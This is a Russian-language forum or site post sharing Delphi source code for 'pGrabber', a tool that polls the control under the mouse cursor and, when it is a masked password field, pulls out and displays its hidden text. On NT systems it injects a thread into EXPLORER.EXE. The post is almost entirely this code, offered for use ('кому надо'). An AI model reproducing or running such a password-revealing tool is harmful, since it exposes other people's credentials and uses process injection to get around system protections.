Содержание материала

Она может брать текст, где этого не может делать GetWindowText(), вот собственно и все!

Должна работать на всех win, но небыло возможности проверить.... =)

Так что кому надо... Отдельное спасибо .alex'у

Code:

 

program pGrabber;

 

uses

windows,

myfuncs in 'myfuncs.pas';

const

       WM_CREATE           = $0001;

       WM_DESTROY          = $0002;

       WM_SETTEXT          = $000C;

       WM_GETTEXT          = $000D;

       WM_TIMER            = $0113;

       WM_GETTEXTLENGTH    = $000E;

       EM_GETPASSWORDCHAR  = $00D2;

       WM_COMMAND          = $0111;

var

       wc              : TWndClass;

       hwnd            : THandle;

       mMsg            : TMsg;

       ehwnd           : THandle;

 

function GetTextPODCursor: PChar;

var grabtext: array[0..125] of char;

   lpPoint: TPoint;

   hwnd: THandle;

begin

  GetCursorPos(lpPoint);

  hwnd := WindowFromPoint(lpPoint);

  if (SendMessage(hwnd, EM_GETPASSWORDCHAR, 0, 0) <> 0) then

     begin

      SendMessage(hwnd, WM_GETTEXT, 20, Integer(PChar(@grabtext)));

      result := PChar(@grabtext);

     end else

  result := PChar('');

  SendMessage(ehwnd, WM_SETTEXT, 0, Integer(result));

end;

 

 

//////////////////////

// Main Window Proc //

//////////////////////

function WndProc(hwnd: Thandle; lMsg, wParam, lParam: LongInt): LongInt; stdcall;

begin

  Case lMsg of

    WM_CREATE:

       begin

           SetWindowPos(hwnd,HWND_TOPMOST,0,0,0,0,SWP_NOSIZE + SWP_NOMOVE);

           SetTimer(hwnd, 55555, 2*1000, nil);

       end;

 

    WM_TIMER:

       begin

           if (not IsNT)then GetTextPODCursor else SpawnThreadNT('EXPLORER.EXE', GetModuleHandle(nil));

       end;

 

    WM_DESTROY:

       begin

           KillTimer(hwnd, 55555);

           halt(0);

       end;

 

  end;

result:=DefWindowProc(hWnd, lMsg, wParam, lParam);

end;

 

 

 

//////////////////////

// Main Entry Point //

//////////////////////

begin

with wc do begin

     style          := CS_HREDRAW or CS_VREDRAW;

     lpfnWndProc    := @WndProc;

     cbClsExtra     := 0;

     cbWndExtra     := 0;

     hInstance      := hInstance;

     hIcon          := 65539;

     hCursor        := 65553;

     hbrBackground  := 26214418;

     lpszMenuName   := nil ;

     lpszClassName  := 'pGClass';

end;

 

RegisterClass(wc);

 

hwnd  := CreateWindow('pGClass','   pGrabber [win98/Xp v2.0]  by xZero',WS_OVERLAPPEDWINDOW and WS_DLGFRAME,400,300,260,65,0,0,hInstance,nil);

ehwnd := CreateWindowEx(WS_EX_CLIENTEDGE, 'Edit', '',WS_CHILD or WS_VISIBLE or ES_READONLY, 5, 5, 245, 20, hwnd, 0, hInstance, nil);

 

ShowWindow(hwnd, SW_SHOW);UpdateWindow(hwnd);

 

while GetMessage(mMsg, hwnd , 0, 0) do

begin

  TranslateMessage(mMsg);

  DispatchMessage(mMsg);

end;

Halt(mMsg.wParam);

end.

 

 

Добавить комментарий

Не использовать не нормативную лексику.

Просьба писать ваши замечания, наблюдения и все остальное,
что поможет улучшить предоставляемую информацию на этом сайте.

ВСЕ КОММЕНТАРИИ МОДЕРИРУЮТСЯ ВРУЧНУЮ, ТАК ЧТО СПАМИТЬ БЕСПОЛЕЗНО!


Защитный код
Обновить